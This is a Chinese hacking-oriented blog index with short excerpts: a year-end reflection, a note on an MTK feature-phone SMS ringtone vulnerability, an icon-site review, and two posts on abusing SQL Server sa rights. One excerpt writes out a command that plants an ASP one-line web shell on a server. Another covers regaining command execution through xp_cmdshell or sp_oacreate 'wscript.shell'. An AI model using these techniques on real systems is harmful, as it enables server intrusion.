Pray's Blog

　　写在09年的最后一天，以纪念，即将逝去的一年。或者说，这是一种自我安慰，想挽留着这一年的时光。 　　09年最后一天里，在家乡度过的，阴沉沉的天，冷冷的天气，见不到阳光的微笑。今天适合坐在家里，看看书，回忆些09年的往事，可脑子不听使唤，回忆总是绕着代码那里徘徊。 　　今天的流走，时光的飞逝，大家在这一年收获的不少东西吧。     　...阅读更多

影响手机品牌：所有MTK方案手机（也就是我们常说的山寨手机） 且 写短信时有【“选项”——“插入对象”——“我的铃声”】这一功能（大部分山寨手机都有此功能） 漏洞原理： 在大部分MTK方案手机中，编写短信息的时候可以插入一种“imy”格式的铃声文件， 而具有同样功能的手机接收到此短信后在查看信息内容的同时可以听到短信息内插入的铃声 由于MTK方案手机在...阅读更多

Iconfinder 这是其中一个最好的图标搜索引擎，在它们的数据库里面存储了超过1000多个图标资源，你可以输入一个你需要的相关的图标关键词进行搜索。 其Ajax的导航，使一件轻而易举的找到新的图标。每个图标在搜索结果中进行，其标记，下载链接和许可证信息。 无需翻阅页面得到下载图标，击中下载图标，该图标将被下载。大部分的图标漂亮，可以用来在现...阅读更多

SA权限权利非常大,但可能有的朋友感觉使用起来不方便,接下来和大家一起讨论几种上传文件的方法,如果还有别的方法,希望大家能分享出来. 1、NBSI的命令方法:写入一句话木SHELL,命令如下: 1 echo ^<25%execute request("#")25%^> >d:\web\mm.asp 这样要写入一句话木马,如果说被杀软,KILL掉,就可以连上去了。net stop &...阅读更多

有了sa但无xp_cmdshell ，怎么恢复都提示出错。好象是xxxx.cpp哪里哪里出错。或者找不到指定模块，反正我遇到好多次了。在用exec sp_oacreate ‘wscript.shell’也没办法的情况下。。可用此方法 （很多服务器都把 ‘wscript.shell’给删了。） 看到既然能用sp_oacreate，sp_oamethod来弄 ‘wscript.shell’或者scripti...阅读更多